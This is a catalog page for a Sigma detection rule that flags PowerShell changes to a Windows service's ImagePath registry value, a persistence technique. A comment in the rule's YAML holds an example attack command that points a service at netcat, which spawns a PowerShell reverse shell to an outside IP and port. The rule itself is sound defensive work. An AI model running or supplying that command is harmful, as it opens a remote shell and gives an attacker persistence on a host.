Detection rules › Sigma

Service abuse with malicious ImagePath (Reg via PowerShell)

Status
experimental
Severity
high
Log source
product windows, category ['ps_module', 'ps_classic_script', 'ps_script']
Author
mdecrevoisier
Source
github.com/mdecrevoisier/SIGMA-detection-rules

Detects scenarios where an attacker modify the original service executable path with a malicious one.

MITRE ATT&CK coverage

Event coverage

Rule body yaml

title: Service abuse with malicious ImagePath (Reg via PowerShell)
description: Detects scenarios where an attacker modify the original service executable path with a malicious one.
references:
- https://github.com/mdecrevoisier/EVTX-to-MITRE-Attack/tree/master/TA0003-Persistence/T1543.003-Create%20or%20Modify%20System%20Process-Windows%20Service
- https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc742019(v=ws.11)
- https://pentestlab.blog/2020/01/22/persistence-modify-existing-service/
- https://medium.com/r3d-buck3t/abuse-service-registry-acls-windows-privesc-f88079140509
tags:
- attack.persistence
- attack.t1543.003
author: mdecrevoisier
status: experimental
logsource:
  product: windows
  category:
    - ps_module
    - ps_classic_script
    - ps_script
detection: # Set-ItemProperty -path HKLM:\System\CurrentControlSet\services\xboxgip -name ImagePath -value "C:\nc.exe -e powershell.exe 10.10.14.26 4447"
  selection_powershell_native:
    EventID: 800
    EventData|contains|all:
      - '-ItemProperty' # Can be New-* or Set-*
      - '\SYSTEM\CurrentControlSet\Services\'
      - ImagePath

  selection_powershell_modern:
    EventID: 4103
    Payload|contains|all:
      - '-ItemProperty' # Can be New-* or Set-*
      - '\SYSTEM\CurrentControlSet\Services\'
      - ImagePath

  selection_powershell_block:
    EventID: 4104
    ScriptBlockText|contains|all:
      - '-ItemProperty' # Can be New-* or Set-*
      - '\SYSTEM\CurrentControlSet\Services\'
      - ImagePath

  condition: 1 of selection*
falsepositives:
- administrator reconfiguring service
level: high

Stages and Predicates

Stage 0: condition

1 of selection*

Stage 1: selection_powershell_native

selection_powershell_native:
  EventID: 800
  EventData|contains|all:
    - '-ItemProperty'
    - '\SYSTEM\CurrentControlSet\Services\'
    - ImagePath

Stage 2: selection_powershell_modern

selection_powershell_modern:
  EventID: 4103
  Payload|contains|all:
    - '-ItemProperty'
    - '\SYSTEM\CurrentControlSet\Services\'
    - ImagePath

Stage 3: selection_powershell_block

selection_powershell_block:
  EventID: 4104
  ScriptBlockText|contains|all:
    - '-ItemProperty'
    - '\SYSTEM\CurrentControlSet\Services\'
    - ImagePath

Indicators

Each row is a field, operator, and value that the rule matches. The corpus column counts how many other rules in the catalog look for the same combination: high numbers point to widely-used, community-vetted indicators. Blank or 1 shows that the indicator is specific to this rule.

FieldKindValues
EventDatamatch
  • -ItemProperty corpus 5 (sigma 5)
  • ImagePath
  • \SYSTEM\CurrentControlSet\Services\ corpus 2 (sigma 2)
Payloadmatch
  • -ItemProperty corpus 5 (sigma 5)
  • ImagePath
  • \SYSTEM\CurrentControlSet\Services\ corpus 2 (sigma 2)
ScriptBlockTextmatch
  • -ItemProperty corpus 5 (sigma 5)
  • ImagePath
  • \SYSTEM\CurrentControlSet\Services\ corpus 2 (sigma 2)